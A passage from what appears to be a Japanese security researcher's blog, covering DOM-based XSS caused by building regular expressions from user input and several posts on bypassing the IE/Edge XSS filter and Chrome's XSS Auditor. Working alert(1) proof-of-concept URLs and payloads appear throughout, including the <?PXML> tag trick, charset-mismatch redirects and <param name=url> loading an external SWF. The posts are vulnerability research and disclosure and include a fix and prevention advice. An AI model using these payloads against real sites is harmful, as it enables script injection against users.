'"': '&amp;quot;',<br /> &nbsp; &nbsp; "'": '&amp;#x27;',<br /> &nbsp; &nbsp; '`': '&amp;#x60;'<br /> &nbsp; }<br /> &nbsp; for (key in escapeMap) {<br /> &nbsp; &nbsp; var re = new RegExp(key, 'gm');<br /> &nbsp; &nbsp; res = res.replace(re, escapeMap[key]);<br /> &nbsp; }<br /> &nbsp; return res;<br /> }<br /> var params = parseQuery();<br /> if (params.id) {<br /> &nbsp; renderHTML(params);<br /> }<br /> &lt;/script&gt;</blockquote> まず、<code>parseQuery()</code>でクエリの名前と値のペアのオブジェクトを作成しています。クエリはページ上部にある<code>type="text/template"</code>なscriptタグにあるHTMLのテンプレートのプレースホルダ(この例では{{id}})を置換するために使われます。<br /> 置換処理部分を以下に抜粋します:<br /> <blockquote class="tr_bq"> for (key in data) {<br /> &nbsp; var re = new RegExp('{{' + key + '}}', 'gm');<br /> &nbsp; var safe = escapeHTML(data[key]);<br /> &nbsp; template = template.replace(re, safe);<br /> }</blockquote> data変数は<code>parseQuery()</code>で作成したクエリのオブジェクトです。ここでは、クエリと同名のプレースホルダがテンプレートに存在するかどうかにかかわらず、for...in文ですべてのクエリをプレースホルダとして置換しようとしています。今回は、ユーザ入力から正規表現を組み立てているだけでなく(<code>new RegExp('{{' + key + '}}', 'gm')</code>部分)、置換後の文字列もユーザ入力で指定できています(<code>escapeHTML(data[key])</code>部分)。例えば、id=123というクエリがあるとき、次のような置換処理が行われることになります。黄色部分がユーザ入力から設定されたものです:<br /> <blockquote class="tr_bq"> template.replace(/{{<span style="background-color: yellow;"><b>id</b></span>}}/gm, '<span style="background-color: yellow;"><b>123</b></span>');</blockquote> 置換後の文字列を指定できるのなら、シンプルにクエリにHTMLタグを与えることでXSSできるのではと考えるところですが、置換後の文字列はescapeHTML関数によってエスケープされるため、次のようなURLからアクセスしてもXSSは発生しません:<br /> <br /> <a href="https://vulnerabledoma.in/domxss_regex2.html?id=%22%3E%3Cs%3Eaaa">https://vulnerabledoma.in/domxss_regex2.html?id="&gt;&lt;s&gt;aaa</a><br /> <br /> どんな文字列を与えたらXSSが成立するでしょう?今回も、正規表現を細工することでXSSを起こします。加えて、今回は置換後の文字列も細工します。<br /> PoCを先に示します。次のようなURLにアクセスするとスクリプトを実行できます:<br /> <br /> <a href="https://vulnerabledoma.in/domxss_regex2.html?id=123&amp;|(.)h|=$1a$1onerror%3Dalert(1)//">https://vulnerabledoma.in/domxss_regex2.html?id=123&amp;|(.)h|=$1a$1onerror%3Dalert(1)//</a><br /> <br /> なぜスクリプトを実行できたか見ていきます。<br /> 置換前のテンプレート文字列は次のようになっています。<br /> <blockquote class="tr_bq"> &lt;img src="https://example.com/img/{{id}}.png"&gt;</blockquote> まず、クエリのid=123により、{{id}}の部分が123に置換されます。<br /> あとに続く<code>|(.)h|=$1a$1onerror%3Dalert(1)//</code>というクエリからも置換が行われます。実行される置換処理は次のようになります:<br /> <blockquote class="tr_bq"> template.replace(/{{<span style="background-color: yellow;"><b>|(.)h|</b></span>}}/gm, '<span style="background-color: yellow;"><b>$1a$1onerror=alert(1)//</b></span>');</blockquote> <br /> このコードはテンプレート中にある「{{」または 「任意の1文字 + h」(<code>(.)h</code>) または「}}」を、指定した文字列に置換しようとします。このうち、「任意の1文字 + h」はテンプレート中の以下の黄色部分で発見できます:<br /> <blockquote class="tr_bq"> &lt;img src=<span style="background-color: yellow;"><b>"h</b></span>ttps://example.com/img/123.png"&gt;</blockquote> この部分が、<code>$1a$1onerror=alert(1)//</code>で置換されます。<code>$1</code>は<code>()</code>でくくった部分にマッチした文字列を配置するという意味で、ここでは<code>"</code>が取り出されます。<br /> したがって、テンプレート文字列は次のように置換されます:<br /> <blockquote class="tr_bq"> &lt;img src=<span style="background-color: yellow;"><b>"a"onerror=alert(1)//</b></span>ttps://example.com/img/123.png"&gt;</blockquote> 見ての通り、imgタグにonerrorイベントハンドラが追加できてしまっています。この文字列が<code>document.body.innerHTML = template;</code>でページに書き出されることによって、任意のスクリプトの実行が達成されるという訳です。<br /> <br /> 修正後は、ユーザ入力から正規表現を組み立てるのではなく、以下のようにテンプレートに埋め込まれたプレースホルダを検索することによって置換を行うようになったようです。<br /> <blockquote class="tr_bq"> template = template.replace(/<span style="background-color: yellow;"><b>{{(\w+)}}</b></span>/gm, function($0,$1) {<br /> &nbsp; return escapeHTML(data[$1]);<br /> });</blockquote> <br /> <h3> このような問題を防ぐには</h3> <br /> どちらの問題も、ユーザ入力から"正規表現を組み立てていること"を失念しており、単に検索用の"文字列として"使われることを期待したことが原因で発生したように思います。いずれの修正も正規表現を組み立てない方法で書き直すことができているように、たいていの場合、ユーザ入力から正規表現を組み立てる必要はないはずです。<br /> <code>new RegExp(USER_INPUT,"")</code>のようなコードを書いてしまったら、それは本当にやりたいことなのか、一度考え直してみるとよいかと思います。ユーザに正規表現を使わせたいとき以外、まず適切な書き方ではありません。<br /> <br /> 以上、正規表現にユーザ入力を使っていることに起因するDOM based XSSの例を2つ紹介しました。<br /> このような問題を避ける助けとなれば嬉しいです。Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-10805227415279563942017-05-22T22:59:00.000+09:002017-05-23T00:23:30.664+09:00ブラウザのXSS保護機能をバイパスする(13)前回の記事、間違えて14回目と書きましたが、13回目でした。<br /> 飛ばしてしまった13回目を今からここに書いて埋めることにします!<br /> <br /> 今日はIEの知られざるHTMLタグについて紹介しようと思います。このタグを利用すると、限られた条件でフィルターのバイパスにも利用できます。<br /> <br /> 今回利用するのは、<code>&lt;?PXML&gt;</code>というタグです。<br /> 皆さん、<code>&lt;?PXML&gt;</code>タグをご存知ですか?僕はよく知りません!<br /> このタグの意味は全く分からなくて、いくら調べても全く出てこないほどで、誰か一体何なのか知っている人がいたら教えてほしいくらいですが、とりあえずここに自分が知っている限りのことを書いていきます。<br /> <br /> まず、自分はこのタグを印刷プレビューの脆弱性を探している時に発見しました。様々なページを印刷プレビューして、攻撃可能なプレビュー結果が出ないかみていたときのことです。XMLのパースエラーを表示するページを印刷プレビューしたときに生成されるHTMLに奇妙なタグが含まれていることに気が付きました。<br /> XMLのパースエラーのページは、古いドキュメントモードのページから、不正なXMLのページをフレームに埋め込むと現れます。こんなかんじです:<br /> <br /> <a href="https://l0.cm/bypass/ie_pxml_printpreview.html">https://l0.cm/bypass/ie_pxml_printpreview.html</a><br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnxclC5KLvcPFmcfPFm6r9cAoXUaUKwc5zpO5ybunE_NlyjSgVg1Es7z1eS1dlI-xcgml9yh-Gks0NVpaiihsrk7bSBn8lXhuggmXfnYShW0zn9pE7umDgwMAlswjAVTdn9CsolBwHWso/s1600/xmlerror.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnxclC5KLvcPFmcfPFm6r9cAoXUaUKwc5zpO5ybunE_NlyjSgVg1Es7z1eS1dlI-xcgml9yh-Gks0NVpaiihsrk7bSBn8lXhuggmXfnYShW0zn9pE7umDgwMAlswjAVTdn9CsolBwHWso/s320/xmlerror.png" width="320" /></a></div> <br /> エラー情報を表示する程度のページなら、もっと普通の条件で出てきてもいい気がしますが、とりあえずこれで確実に出ます。<br /> さて、このページを印刷プレビューしてみましょう。プレビューしたら、プレビューした状態をそのままに、%Temp%\Low を開いて、プレビューされたときに生成されるHTMLを確認します。こんなかんじの.htmファイルが発見できるはずです:<br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYmj6uPoFDD0BzPXF73YimwafINvBeOdyWq3z-2gj3gmRNL16lvbowoLRYgJMBmfnBxnX_TToq40ugOq8pwkYPusF7xABkpVYWlOBcHBHwQjoPHYghra27rpEj723jx9EAsV4uYgrk4bc/s1600/pphtml.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYmj6uPoFDD0BzPXF73YimwafINvBeOdyWq3z-2gj3gmRNL16lvbowoLRYgJMBmfnBxnX_TToq40ugOq8pwkYPusF7xABkpVYWlOBcHBHwQjoPHYghra27rpEj723jx9EAsV4uYgrk4bc/s320/pphtml.png" width="320" /></a></div> <br /> 2つありますが、片方はトップのフレーム、もう一方はフレームの中のHTMLでしょう。フレームの中のHTMLの方をみてみましょう。<br /> <br /> <blockquote class="tr_bq" style="font-size: 12px;"> &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;<span style="background-color: yellow;">&lt;?PXML /&gt;</span><br /> &lt;HTML:HTML<br /> __IE_DisplayURL="https://l0.cm/bypass/ie_pxml_printpreview.xml"&gt;&lt;HTML:HEAD&gt;&lt;HTML:META<br /> content="IE=5.0000" http-equiv="X-UA-Compatible"&gt;<br /> &lt;HTML:META content="text/html; charset=unicode" http-equiv=Content-Type&gt;<br /> &lt;HTML:BASE HREF="https://l0.cm/bypass/ie_pxml_printpreview.xml"&gt;<br /> &lt;HTML:STYLE&gt; HTML { font-family : "Times New Roman" } &lt;/HTML:STYLE&gt;&lt;/HTML:HEAD&gt;<br /> &lt;HTML:BODY&gt;<br /> &lt;HTML:TABLE width=400&gt;<br /> &nbsp; &lt;HTML:P style="FONT: 13pt/15pt verdana"&gt;XML ページを表示できません<br /> &nbsp; &lt;HTML:P style="FONT: 8pt/11pt verdana"&gt;スタイルシートを使用した XML<br /> &nbsp; 入力は表示できません。エラーを訂正してください。 &lt;HTML:A href="javascript:location.reload()"<br /> &nbsp; target=_self&gt;[更新]&lt;/HTML:A&gt; ボタンをクリックするか、または後でやり直してください。<br /> &nbsp; &lt;HTML:HR&gt;<br /> &nbsp; &lt;HTML:P style="FONT: bold 8pt/11pt verdana"&gt;ドキュメントの最上位では無効です。リソース<br /> &nbsp; 'https://l0.cm/bypass/ie_pxml_printpreview.xml' の実行エラーです。ライン 1、位置 1 &lt;/HTML:P&gt;&lt;HTML:PRE style="FONT-SIZE: 10pt; FONT-VARIANT: normal; FONT-WEIGHT: normal; FONT-STYLE: normal; LINE-HEIGHT: 12pt"&gt;&lt;HTML:FONT color=blue&gt;AAAAA<br /> ^&lt;/HTML:FONT&gt;&lt;/HTML:PRE&gt;&lt;/HTML:P&gt;<br /> &nbsp; &lt;HTML:TBODY&gt;&lt;/HTML:TBODY&gt;&lt;/HTML:TABLE&gt;&lt;/HTML:BODY&gt;&lt;/HTML:HTML&gt;</blockquote> <div> 出た!!何なんでしょう?PXMLのP = Preview のPとかなんでしょうか?<br /> <code>&lt;?PXML&gt;</code>のほかに、HTML:というプレフィックスがついたタグも確認でき、PXMLがあると、HTML:というプレフィックスがついたタグをHTMLタグとして認識させる効果があるようにみえます。<br /> <br /> このタグをIEで普通に利用できるか確認してみます。次のように、html:というプレフィックスがついたHTMLタグが利用できるかみてみましょう。<br /> <br /> <a href="https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E">https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E</a><br /> <blockquote class="tr_bq"> &lt;?PXML&gt;&lt;html:h1&gt;Hello PXML!&lt;/html:h1&gt;</blockquote> 動かない? ドキュメントモードを下げてみましょう。<br /> <br /> <a href="https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&amp;xuac=9">https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&amp;xuac=9</a><br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOpRgdPyJlX5uPn0e6gaWrE5ERsI17mV7RNHKPdptXL3nSlO1dOa-ZuTVJ34y_X8YKUKLuihpH55soBOgGvTKBu-fE5Bm-hqIL6Q95ivP5nW4fdiT1I71j3UFPNkCbaUOPL_ak9JdjvSA/s1600/hellopxml.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOpRgdPyJlX5uPn0e6gaWrE5ERsI17mV7RNHKPdptXL3nSlO1dOa-ZuTVJ34y_X8YKUKLuihpH55soBOgGvTKBu-fE5Bm-hqIL6Q95ivP5nW4fdiT1I71j3UFPNkCbaUOPL_ak9JdjvSA/s320/hellopxml.png" width="320" /></a></div> <br /> 今度こそh1タグが有効になりましたね!どうやらこのタグはIE9以下のドキュメントモードで機能するようです。<br /> <br /> このタグはページの先頭以外でも使うことができるようです。ただし、どうやら、<code>&lt;?PXML&gt;</code>よりも前に<code>&lt;</code>が3つ以上出現した段階で機能しなくなるという制約があるようです。<br /> <br /> 以下のように、<code>&lt;</code>が2つ出現した段階ではまだ動きます。<br /> <a href="https://vulnerabledoma.in/bypass/text?q=%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&amp;xuac=9">https://vulnerabledoma.in/bypass/text?q=%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&amp;xuac=9</a><br /> <blockquote class="tr_bq"> &lt;&lt; &lt;?PXML&gt;&lt;html:h1&gt;Hello PXML!&lt;/html:h1&gt;</blockquote> しかし、<code>&lt;</code>が3つ出現すると動作しなくなります。<br /> <a href="https://vulnerabledoma.in/bypass/text?q=%3C%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&amp;xuac=9">https://vulnerabledoma.in/bypass/text?q=%3C%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&amp;xuac=9</a><br /> <blockquote class="tr_bq"> &lt;&lt;&lt; &lt;?PXML&gt;&lt;html:h1&gt;Hello PXML!&lt;/html:h1&gt;</blockquote> 不思議な動作ですね…。ここまでがこのタグに関してわかっていることです。<br /> <br /> わからないことだらけですが、とにかく、これをXSSフィルターのバイパスに利用してみましょう。方法は簡単で、<code>&lt;?PXML&gt;</code>を書いて、あとはhtml:プレフィックスのついたスクリプトタグを書くだけです。<br /> <br /> <a href="https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&amp;xuac=9">https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&amp;xuac=9</a><br /> <blockquote class="tr_bq"> &lt;?PXML&gt;&lt;html:script&gt;alert(1)&lt;/html:script&gt;</blockquote> プレフィックスのおかげで、<code>&lt;sc{r}ipt.*?&gt;</code>という遮断条件をバイパスできます。<br /> <br /> このバイパスを利用できる場合の条件をまとめると以下のようになります。<br /> <ol> <li>単純な反射型XSSがある</li> <li>注入点までに3つ以上の<code>&lt;</code>がでてこない</li> <li>そのページのドキュメントモードが9以下に設定されているか、フレームに埋め込むなどで低いドキュメントモードを設定できる</li> </ol> 条件は厳しいですが、完全な先頭でなくてもいいという点で、先頭必須のバイパスよりも優れています。<br /> <br /> 以上、IEの知られざるHTMLタグとそれを使ったバイパスについて紹介しました。<br /> <code>&lt;?PXML&gt;</code>の詳細について知っている人がいたらぜひコメントや<a href="https://twitter.com/kinugawamasato">Twitter</a>等で教えてください!それではまた!</div> Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-9559040412984898652017-05-22T00:46:00.001+09:002017-05-22T01:11:45.941+09:00ブラウザのXSS保護機能をバイパスする(14)前回、<a href="http://masatokinugawa.l0.cm/2017/05/browsers-xss-filter-bypass-cheat-sheet.html">XSSAuditorのバイパスのチートシートを作ったという記事</a>を書きましたが、さきほど、IE/EdgeのXSSフィルターのバイパスも公開しました。<br /> <br /> <a href="https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#ieedge%E3%81%AExss%E3%83%95%E3%82%A3%E3%83%AB%E3%82%BF%E3%83%BC">https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#ieedge%E3%81%AExss%E3%83%95%E3%82%A3%E3%83%AB%E3%82%BF%E3%83%BC</a><br /> <br /> この公開に合わせて、今日は強力なIE/EdgeのXSSフィルターのバイパスを1つ紹介しようと思います。<br /> <br /> このバイパスはPOST経由以外の全てのReflected XSSで使えます。1年以上前に以下のようなツイートをしましたが、今から紹介するのがこのとき発見したベクターです。<br /> <blockquote class="twitter-tweet" data-lang="ja"> <div dir="ltr" lang="en"> I found pretty useful IE XSS filter bypass :)<br /> ✔ single parameter<br /> ✔ all XSS contexts<br /> ✔ not depends on specified charset</div> — Masato Kinugawa (@kinugawamasato) <a href="https://twitter.com/kinugawamasato/status/664028328064516096">2015年11月10日</a></blockquote> <script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script> ツイートした時点ではPOSTで使えないことに気付いていなかったので、all contextsは言い過ぎでしたが、いずれにしても強力なベクターだと思います。<br /> <br /> まずはPoCからみてみましょう!普通にテキスト部でXSSする場合と、属性だけが記述できるケースのXSSで例を示します。IE/Edgeでアクセスすると、スクリプトが動作することを確認できるはずです。<br /> <br /> <a href="https://l0.cm/bypass/ie_hz_text.html">https://l0.cm/bypass/ie_hz_text.html</a><br /> <blockquote class="tr_bq"> &lt;meta charset=utf-8&gt;<br /> &lt;script&gt;<br /> &nbsp; document.charset="hz-gb-2312";<br /> &nbsp; location="https://vulnerabledoma.in/bypass/text?q=&lt;script/警/-alert(1)&lt;\/script/警"<br /> &lt;/script&gt;</blockquote> <br /> 属性値のみでXSSする場合はこちら:<br /> <a href="https://l0.cm/bypass/ie_hz_attribute.html">https://l0.cm/bypass/ie_hz_attribute.html</a><br /> <blockquote class="tr_bq"> &lt;meta charset=utf-8&gt;<br /> &lt;script&gt;<br /> &nbsp; document.charset="hz-gb-2312";<br /> &nbsp; location="https://vulnerabledoma.in/bypass/attribute?q=\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4/-alert(1)//"<br /> &lt;/script&gt;</blockquote> なぜ動作したかは、IEがどんなクエリ文字列を送信しているかに注目するとみえてきます。 <br /> <br /> IEはナビゲーション時、ナビゲーション前のページに設定された文字コードでクエリ文字列をエンコードしてリクエストを送信します。<br /> 例えば、次のようなページから、「あ」という文字列を送信しようとするとき、「あ」はHZ-GB-2312というエンコーディングでエンコードされて送信されます。<br /> <br /> <a href="https://l0.cm/bypass/ie_hz_example.html">https://l0.cm/bypass/ie_hz_example.html</a><br /> <blockquote class="tr_bq"> &lt;meta charset=utf-8&gt;<br /> &lt;script&gt;<br /> &nbsp; document.charset="hz-gb-2312";<br /> &nbsp; location="https://vulnerabledoma.in/bypass/text?q=あa";<br /> &lt;/script&gt;</blockquote> Fiddlerを見ても、以下のように、UTF-8の「あ」(0xE38182) でなく、HZ-GB-2312の「あ」である<code>~{$"~}</code>が送信されていることがわかります。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYCiOD6O_cbOP9w_T9aNCk-F8YUwQPSBeB_WMBAA0hMmFDBF_qrulPDL3HkJxNH1Q3ASFkGVWqNfIhYoAwGBcIhau43AR_VuXiFqWZFP1i7QBCC8ZQLAq58Q9eaxYHJAXjvjKAxREM__U/s1600/hz.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYCiOD6O_cbOP9w_T9aNCk-F8YUwQPSBeB_WMBAA0hMmFDBF_qrulPDL3HkJxNH1Q3ASFkGVWqNfIhYoAwGBcIhau43AR_VuXiFqWZFP1i7QBCC8ZQLAq58Q9eaxYHJAXjvjKAxREM__U/s400/hz.png" width="400" /></a></div> <br /> この動作を踏まえて、バイパスが起きたケースをもう一度見てみましょう。テキスト部のバイパスでは、<code>&lt;script/警/-alert(1)&lt;/script/警</code>という文字列をリダイレクト先に与えています。「警」の字はHZ-GB-2312において、<code>~{&gt;/~}</code>で表されます。したがって、ここでは<code>&lt;script/~{&gt;/~}/-alert(1)&lt;/script/~{&gt;/</code>という文字列がクエリを介して送信されており、実際にはスクリプトタグを作成するようなバイト列が送信されていたということがわかります。<br /> <br /> XSSフィルターは普通なら<code>&lt;sc{r}ipt.*?&gt;</code>という遮断条件に従ってスクリプトタグに反応しますが、ここではなぜか反応しません。これはおそらく、XSSフィルターが、実際に送信されるリクエストではなく、<code>&lt;script/警</code>という文字列を遮断条件と誤って照らし合わせているためではないかと思います。<br /> <br /> 属性の場合も同様に、<code>\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4</code>に反応文字列である<code>"onmouseover=</code>を隠しています。このように、実際に送信されるリクエストと、エンコードされた文字列の不一致を起こすことで、XSSフィルターをバイパスすることができます!<br /> <br /> その他のエンコーディングでも、同じように不一致を起こせばバイパスが可能です。<br /> <br /> ISO-2022-JPを使った例がこちら:<br /> <a href="https://l0.cm/bypass/ie_iso2022jp_text.html">https://l0.cm/bypass/ie_iso2022jp_text.html</a><br /> <a href="https://l0.cm/bypass/ie_iso2022jp_attribute.html">https://l0.cm/bypass/ie_iso2022jp_attribute.html</a><br /> <br /> x-chinese-cnsという文字コードを使った例がこちら:<br /> <a href="http://l0.cm/bypass/ie_x-chinese-cns_text.html">https://l0.cm/bypass/ie_x-chinese-cns_text.html</a><br /> <a href="https://l0.cm/bypass/ie_x-chinese-cns_attribute.html">https://l0.cm/bypass/ie_x-chinese-cns_attribute.html</a><br /> <br /> 他にもいろいろな文字コードのバリエーションが考えられるんではないかと思います。<br /> <br /> このバイパスの発見当時は、バイパスはただのバグだとしても、特別な条件もなしに様々なコンテキストで使えるこれは修正を待ってから公開しようと考えていましたが、報告後、1年以上経っても変更が加えられなかったあたり、Microsoftはバイパスをそれほど問題にはしていないみたいです。いずれにしても、XSSフィルターはXSSに対する完全な防御ではなく、サイト側の根本的なXSS対策は必須であるということは常に変わりません。実際のバイパスを通して、その思いを強めてもらえれば。それでは!Unknown[email protected]1tag:blogger.com,1999:blog-8353423932702399963.post-73075749600838500322017-05-07T00:07:00.000+09:002017-05-07T08:26:20.762+09:00Browser's XSS Filter Bypass Cheat SheetブラウザのXSSフィルターのバイパスをまとめたページを作りました。<br /> <br /> こちらです:<br /> <a href="https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet">https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet</a><br /> <br /> 現在のところ、Chrome/Safariのバイパスのみ掲載しています。そのうち、IE/Edgeも掲載するつもりです。<br /> <br /> このページを作った理由は、<a href="https://shibuyaxss.connpass.com/event/52439/">Shibuya.XSS techtalk #9</a>&nbsp;というセキュリティの勉強会の時に、Firefoxのバグを発見しまくっていることで有名な<a href="https://www.slideshare.net/codeblue_jp/firefox-by">西村さん</a>が、「XSSフィルター、バイパスが発見されても、気付いたらいつの間にか使えなくなっていたりする。使えるものをまとめたXSSフィルターのバイパスのチートシートみたいなのがあったら便利」というようなことを言っていて、じゃあ僕が4月中に作りますと宣言してしまったからです。今は5月ということは置いておいて、とにかく作りました。<br /> <br /> 脆弱性検査にあたる人などは、XSSをみつけても、お客さんに「XSSフィルターが止めているから大丈夫じゃないか」などと主張されることがあるかもしれません。また、バイパスできるかどうかがわからないと、実際にどこまで悪用できるかの評価ができない場合もあるかと思います。バイパスまでできているPoCを示せば、説得力を持って攻撃可能なことを証明することができるでしょう。また、ブラウザのバグを発見したいというタイプの人は、これらを参考にしながら、新たなバイパスの発見に挑戦してもよいでしょう。バイパスを発見する目的以外でも、なぜバイパスが起きたかという部分には、その他の場面での攻撃の発想を養ううえでもよい資料となるのではないかと思います。<br /> <br /> もともと自分用のバイパスのメモがあったので、これらをまとめるのは、そんなに難しいことではありませんでした。しかしながら、まとめる過程で、新たな可能性に気付いたりして、その検証に少し時間がかかってしまいました。<br /> <br /> 中でも<a href="https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#%E5%90%8C%E4%B8%80%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E3%81%AE%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%81%AE%E5%88%A9%E7%94%A8">同一ドメインのリソースを使ってバイパスする手法</a>は、おそらくパブリックでこの攻撃の可能性についてほとんど考察されたことがない、目新しいものではないかと思います。僕も今回改めて考えてみて、いろいろなフレームワーク・ライブラリで攻撃が可能になるかもしれないということに気付きました。<br /> <br /> 簡単に手法を説明すると、Chromeは、クエリ文字列を持たない同一ドメインのリソースのロードをブロックしません。これは誤検知とのバランスを考えて作られた仕様だと思います。この動作を利用して、同一ドメインのリソースを攻撃用のガジェットとして利用することで、フィルターをバイパスして、任意のスクリプトを実行できてしまうというものです。詳しくはそれぞれの手法をみてみてください。<br /> <br /> それでは、どうぞご利用ください。Unknown[email protected]3tag:blogger.com,1999:blog-8353423932702399963.post-13643496502424054252016-12-27T21:02:00.002+09:002016-12-27T21:24:02.998+09:00ブラウザのXSS保護機能をバイパスする(12)English version is here: <a href="http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html">http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html</a><br /> <br /> もう終わっていますが、せっかくなのでこの記事は<a href="http://www.adventar.org/calendars/1404">脆弱性"&amp;'&lt;&lt;&gt;\ Advent Calendar 2016</a>の21日目の記事ということにします!俺たちのクリスマスはこれからだ!<br /> <br /> 怒涛のブラウザのXSS保護機能のバイパスネタです。<br /> <br /> 昨日、とあるバグの原因を特定するために、Chromiumのソースコードを眺めていたのですが、その際、偶然XSS Auditorのバイパスを発見しました。<a href="http://masatokinugawa.l0.cm/2016/05/xss8.html">以前紹介したベクター</a>がChromeの先行バージョンで塞がれはじめ、そろそろ新しい方法を発見しなければと思っていたところだったのでちょうどよかったです。<br /> <br /> 今回はobject要素とparam要素を使ってバイパスします。Chrome Canary 57で動作することを確認しています。<br /> <br /> ChromeのXSS AuditorはFlashをロードできてしまうような、危険なparam要素をブロックしようとします。<br /> <div> <br /> <i>HTMLParamElement.cpp&nbsp;</i>の中にURLをロードできるparam要素かどうかのチェックがあり、これがXSSAuditorのコードから呼ばれます。以下のように、name属性の値が data/movie/src だった場合をチェックし、マッチした場合はフィルターが遮断するようになっています。<br /> <blockquote class="tr_bq"> bool HTMLParamElement::isURLParameter(const String&amp; name) {<br /> &nbsp; return equalIgnoringCase(name, "data") || equalIgnoringCase(name, "movie") ||<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;equalIgnoringCase(name, "src");<br /> }</blockquote> </div> Flashをロードするとき、<code>embed src=</code>か<code>object data=</code>を使うのが一般的ですが、Chromeの場合はparam要素からもロードすることができるようです。<br /> 実際に動作することをみてみましょう。以下のURLからスクリプトの実行を確認できます。<br /> (動作を確認することが目的のため、次の2つのURLはXSS Auditorをオフに制御しています。)<br /> <br /> <a href="https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=movie%20value=https://l0.cm/xss.swf%3E&amp;xss=0">https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=movie%20value=https://l0.cm/xss.swf%3E&amp;xss=0</a><br /> <blockquote class="tr_bq"> &lt;object allowscriptaccess=always&gt;<br /> &lt;param name=movie value=https://l0.cm/xss.swf&gt;</blockquote> <br /> <a href="https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=src%20value=https://l0.cm/xss.swf%3E&amp;xss=0">https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=src%20value=https://l0.cm/xss.swf%3E&amp;xss=0</a><br /> <blockquote class="tr_bq"> &lt;object allowscriptaccess=always&gt;<br /> &lt;param name=src value=https://l0.cm/xss.swf&gt;</blockquote> ただし、XSS Auditorにブロックされる<code>name=data</code>では、少なくともFlashは動作しませんでした。この部分は、あまり考えずに追加されているか、あるいは以前XSSできたプラグインがあったと推測しますが、詳細は不明です。<br /> <br /> さて、ここまででも既にマニアックな動作の紹介でしたが、Chromeではさらに別の文字列でもFlashのロードが可能であり、さらにそれらはXSS Auditorにさえ見落とされていることがわかりました。<br /> <br /> こちらがその方法です。 name属性の値を<code>url</code>という文字列に変えただけです。<br /> <div> <br /></div> <a href="https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E">https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E</a><br /> <blockquote class="tr_bq"> &lt;object allowscriptaccess=always&gt;<br /> &lt;param name=url value=https://l0.cm/xss.swf&gt;</blockquote> または、<code>code</code>としても動くようです。<br /> <br /> <a href="https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E">https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E</a><br /> <blockquote class="tr_bq"> &lt;object allowscriptaccess=always&gt;<br /> &lt;param name=code value=https://l0.cm/xss.swf&gt;</blockquote> <div> 